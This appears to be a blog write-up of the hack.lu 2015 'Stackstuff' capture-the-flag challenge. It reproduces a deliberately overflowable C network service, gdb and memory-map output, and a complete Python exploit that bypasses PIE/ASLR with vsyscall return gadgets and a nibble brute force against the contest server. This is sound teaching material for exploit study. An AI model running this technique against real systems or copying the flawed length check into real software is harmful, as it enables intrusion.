Artificial truth

The more you see, the less you believe.

[archives] [latest] | [homepage] | [atom/rss]

Pwning Stackstuff (pwning 150) from hacklu 2015
Thu 29 October 2015 — download

This is a small writeup about a funny trick expected by this challenge, to bypass ASLR. Crowell got it during the ctf, I pwned it (way too slowly, as usual) afterwards, after he told me that it was a fun one.

Welcome to the Progressive Secure Coding course! Here, you will learn how to properly secure your software without making it too slow. For example, you should use C. And compile your code for 64bit, because then you don't need stack cookies, the pointers are random enough.

Test your attack on a box with Linux >=3.4!

We're given the source code:

// gcc -o hackme hackme.c -fPIE -pie -Wall -fomit-frame-pointer

#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 1514

int negchke(int n, const char *err) {
  if (n < 0) {
    perror(err);
    exit(1);
  }
  return n;
}

char real_password[50];

int check_password_correct(void) {
  char buf[50] = {0};

  puts("To download the flag, you need to specify a password.");
  printf("Length of password: ");
  int inlen = 0;
  if (scanf("%d\n", &inlen) != 1) {
    // peer probably disconnected?
    exit(0);
  }
  if (inlen <= 0 || inlen > 50) {
    // bad input length, fix it
    inlen = 90;
  }
  if (fread(buf, 1, inlen, stdin) != inlen) {
    // peer disconnected, stop
    exit(0);
  }
  return strcmp(buf, real_password) == 0;
}

void require_auth(void) {
  while (!check_password_correct()) {
    puts("bad password, try again");
  }
}

void handle_request(void) {
  alarm(60);
  setbuf(stdout, NULL);

  FILE *realpw_file = fopen("password", "r");
  if (realpw_file == NULL || fgets(real_password, sizeof(real_password), realpw_file) == NULL) {
    fputs("unable to read real_password\n", stderr);
    exit(0);
  }
  fclose(realpw_file);

  puts("Hi! This is the flag download service.");
  require_auth();

  char flag[50];
  FILE *flagfile = fopen("flag", "r");
  if (flagfile == NULL || fgets(flag, sizeof(flag), flagfile) == NULL) {
    fputs("unable to read flag\n", stderr);
    exit(0);
  }
  puts(flag);
}

int main(int argc, char **argv) {
  if (strcmp(argv[0], "reexec") == 0) {
    handle_request();
    return 0;
  }

  int ssock = negchke(socket(AF_INET6, SOCK_STREAM, 0), "unable to create socket");
  struct sockaddr_in6 addr = {
    .sin6_family = AF_INET6,
    .sin6_port = htons(PORT),
    .sin6_addr = /*IN6ADDR_LOOPBACK_INIT*/ IN6ADDR_ANY_INIT
  };
  int one = 1;
  negchke(setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)), "unable to set SO_REUSEADDR");
  negchke(bind(ssock, (struct sockaddr *)&addr, sizeof(addr)), "unable to bind");
  negchke(listen(ssock, 16), "unable to listen");

  signal(SIGCHLD, SIG_IGN); /* no zombies */

  while (1) {
    int client_fd = negchke(accept(ssock, NULL, NULL), "unable to accept");
    pid_t pid = negchke(fork(), "unable to fork");
    if (pid == 0) {
      close(ssock);
      negchke(dup2(client_fd, 0), "unable to dup2");
      negchke(dup2(client_fd, 1), "unable to dup2");
      close(client_fd);
      negchke(execl("/proc/self/exe", "reexec", NULL), "unable to reexec");
      return 0;
    }
    close(client_fd);
  }
}

Classic stack-based buffer-overflow, but the binary is position-independent, and thanks to execl, it's remapped at a different offset upon each execution.

Lets see how this looks like when it crashes:

$ echo 'BBBBBBBBBBBB' > password
$ echo 'hacklu{secretflag}' > flag
$ gdb ./hackme
Reading symbols from hackme...(no debugging symbols found)...done.
gdb-peda$ set follow-fork-mode child 
gdb-peda$ r

And to trigger the vuln:

s = socket.create_connection(('localhost', 1514))
s.recv(1024)
s.send('128\n')
s.send('A'*128)
print s.recv(1024)

Stackstuff sigsegv

If you look closely at the stack layout, you'll see that we have no control over the first two words, and partial control over the third one.

So, if we could remove those two words from the stack, we'll have a partial overwrite, allowing us to reduce the entropy of the ASLR to a single nible : We overwrite 3 nibbles, and only the last two are fixed, the third one is randomized.

But since the binary is PIE, how can we find gadgets to do that, in a single shot?

jvoisin@kaa 22:20 ~ for i in {1..3}; do cat /proc/self/maps; done
00400000-0040b000 r-xp 00000000 fc:01 786455                             /bin/cat
0060b000-0060c000 r--p 0000b000 fc:01 786455                             /bin/cat
0060c000-0060d000 rw-p 0000c000 fc:01 786455                             /bin/cat
01521000-01542000 rw-p 00000000 00:00 0                                  [heap]
7f1ac756d000-7f1ac772d000 r-xp 00000000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f1ac772d000-7f1ac792d000 ---p 001c0000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f1ac792d000-7f1ac7931000 r--p 001c0000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f1ac7931000-7f1ac7933000 rw-p 001c4000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f1ac7933000-7f1ac7937000 rw-p 00000000 00:00 0 
7f1ac7937000-7f1ac795b000 r-xp 00000000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7f1ac7993000-7f1ac79b5000 rw-p 00000000 00:00 0 
7f1ac79b5000-7f1ac7b3e000 r--p 00000000 fc:01 6174992                    /usr/lib/locale/locale-archive
7f1ac7b3e000-7f1ac7b41000 rw-p 00000000 00:00 0 
7f1ac7b58000-7f1ac7b5a000 rw-p 00000000 00:00 0 
7f1ac7b5a000-7f1ac7b5b000 r--p 00023000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7f1ac7b5b000-7f1ac7b5c000 rw-p 00024000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7f1ac7b5c000-7f1ac7b5d000 rw-p 00000000 00:00 0 
7ffc7e134000-7ffc7e155000 rw-p 00000000 00:00 0                          [stack]
7ffc7e170000-7ffc7e172000 r--p 00000000 00:00 0                          [vvar]
7ffc7e172000-7ffc7e174000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
00400000-0040b000 r-xp 00000000 fc:01 786455                             /bin/cat
0060b000-0060c000 r--p 0000b000 fc:01 786455                             /bin/cat
0060c000-0060d000 rw-p 0000c000 fc:01 786455                             /bin/cat
01260000-01281000 rw-p 00000000 00:00 0                                  [heap]
7fbdddcf7000-7fbdddeb7000 r-xp 00000000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7fbdddeb7000-7fbdde0b7000 ---p 001c0000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7fbdde0b7000-7fbdde0bb000 r--p 001c0000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7fbdde0bb000-7fbdde0bd000 rw-p 001c4000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7fbdde0bd000-7fbdde0c1000 rw-p 00000000 00:00 0 
7fbdde0c1000-7fbdde0e5000 r-xp 00000000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7fbdde11d000-7fbdde13f000 rw-p 00000000 00:00 0 
7fbdde13f000-7fbdde2c8000 r--p 00000000 fc:01 6174992                    /usr/lib/locale/locale-archive
7fbdde2c8000-7fbdde2cb000 rw-p 00000000 00:00 0 
7fbdde2e2000-7fbdde2e4000 rw-p 00000000 00:00 0 
7fbdde2e4000-7fbdde2e5000 r--p 00023000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7fbdde2e5000-7fbdde2e6000 rw-p 00024000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7fbdde2e6000-7fbdde2e7000 rw-p 00000000 00:00 0 
7ffd47c0a000-7ffd47c2b000 rw-p 00000000 00:00 0                          [stack]
7ffd47dcb000-7ffd47dcd000 r--p 00000000 00:00 0                          [vvar]
7ffd47dcd000-7ffd47dcf000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
00400000-0040b000 r-xp 00000000 fc:01 786455                             /bin/cat
0060b000-0060c000 r--p 0000b000 fc:01 786455                             /bin/cat
0060c000-0060d000 rw-p 0000c000 fc:01 786455                             /bin/cat
01311000-01332000 rw-p 00000000 00:00 0                                  [heap]
7f425998b000-7f4259b4b000 r-xp 00000000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f4259b4b000-7f4259d4b000 ---p 001c0000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f4259d4b000-7f4259d4f000 r--p 001c0000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f4259d4f000-7f4259d51000 rw-p 001c4000 fc:01 4591988                    /lib/x86_64-linux-gnu/libc-2.21.so
7f4259d51000-7f4259d55000 rw-p 00000000 00:00 0 
7f4259d55000-7f4259d79000 r-xp 00000000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7f4259db1000-7f4259dd3000 rw-p 00000000 00:00 0 
7f4259dd3000-7f4259f5c000 r--p 00000000 fc:01 6174992                    /usr/lib/locale/locale-archive
7f4259f5c000-7f4259f5f000 rw-p 00000000 00:00 0 
7f4259f76000-7f4259f78000 rw-p 00000000 00:00 0 
7f4259f78000-7f4259f79000 r--p 00023000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7f4259f79000-7f4259f7a000 rw-p 00024000 fc:01 4591960                    /lib/x86_64-linux-gnu/ld-2.21.so
7f4259f7a000-7f4259f7b000 rw-p 00000000 00:00 0 
7ffd4e92d000-7ffd4e94e000 rw-p 00000000 00:00 0                          [stack]
7ffd4e9e5000-7ffd4e9e7000 r--p 00000000 00:00 0                          [vvar]
7ffd4e9e7000-7ffd4e9e9000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

The vsyscall area isn't subject to ASLR, by design, (un)fortunately, it doesn't contain much gadgets anymore.

gdb-peda$ vmmap 
Start              End                Perm  Name
0x0000555555554000 0x0000555555556000 r-xp  /home/jvoisin/dev/r2/exploit/stackstuff/hackme
0x0000555555755000 0x0000555555756000 rw-p  /home/jvoisin/dev/r2/exploit/stackstuff/hackme
0x00007ffff7a0f000 0x00007ffff7bcf000 r-xp  /lib/x86_64-linux-gnu/libc-2.21.so
0x00007ffff7bcf000 0x00007ffff7dcf000 ---p  /lib/x86_64-linux-gnu/libc-2.21.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p  /lib/x86_64-linux-gnu/libc-2.21.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p  /lib/x86_64-linux-gnu/libc-2.21.so
0x00007ffff7dd5000 0x00007ffff7dd9000 rw-p  mapped
0x00007ffff7dd9000 0x00007ffff7dfd000 r-xp  /lib/x86_64-linux-gnu/ld-2.21.so
0x00007ffff7fdc000 0x00007ffff7fdf000 rw-p  mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p  mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p  [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp  [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.21.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.21.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]
gdb-peda$ disassemble 0xffffffffff600000,+16
Dump of assembler code from 0xffffffffff600000 to 0xffffffffff600010:
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall 
   0xffffffffff600009:  ret    
   0xffffffffff60000a:  int3   
   0xffffffffff60000b:  int3   
   0xffffffffff60000c:  int3   
   0xffffffffff60000d:  int3   
   0xffffffffff60000e:  int3   
   0xffffffffff60000f:  int3   
End of assembler dump.
gdb-peda$

Luckily, we only need a ret ;) Keep in mind that you must use 0xffffffffff600000 instead of the offset of the ret (check the vsyscall implementation) if you want to know why.

So the plan is to:

  1. trigger the overflow
  2. pop two words off the stack using a gadget in the vsyscall area
  3. use the partial overflow to bypass PIE by jumping at the right offset, I choosed 0x0000108b
  4. read the flag

Here is the full exploit:

import socket
import time
import struct

def rop(*args):
    return struct.pack('<Q'*len(args), *args)

vsyscall = 0xffffffffff600000

# gdb disables ASLR in local, so no need to bruteforce
#s = socket.create_connection(('localhost', 1514))
#s.recv(1024)
#s.send('128\n')
#s.send("A"*(90 - 18) + rop(vsyscall) + rop(vsyscall) + struct.pack('I', 0x508b))
#print s.recv(1024)

for i in range(0,0xf):
    s = socket.create_connection(('school.fluxfingers.net', 1514))
    s.recv(1024)
    s.send('128\n')
    address = int('0x%x08b' % i, 16)
    print('[+] trying : %x' % address)
    s.send("A"*(90 - 18) + rop(vsyscall) + rop(vsyscall) + struct.pack('I', address) + '\n')
    print s.recv(1024)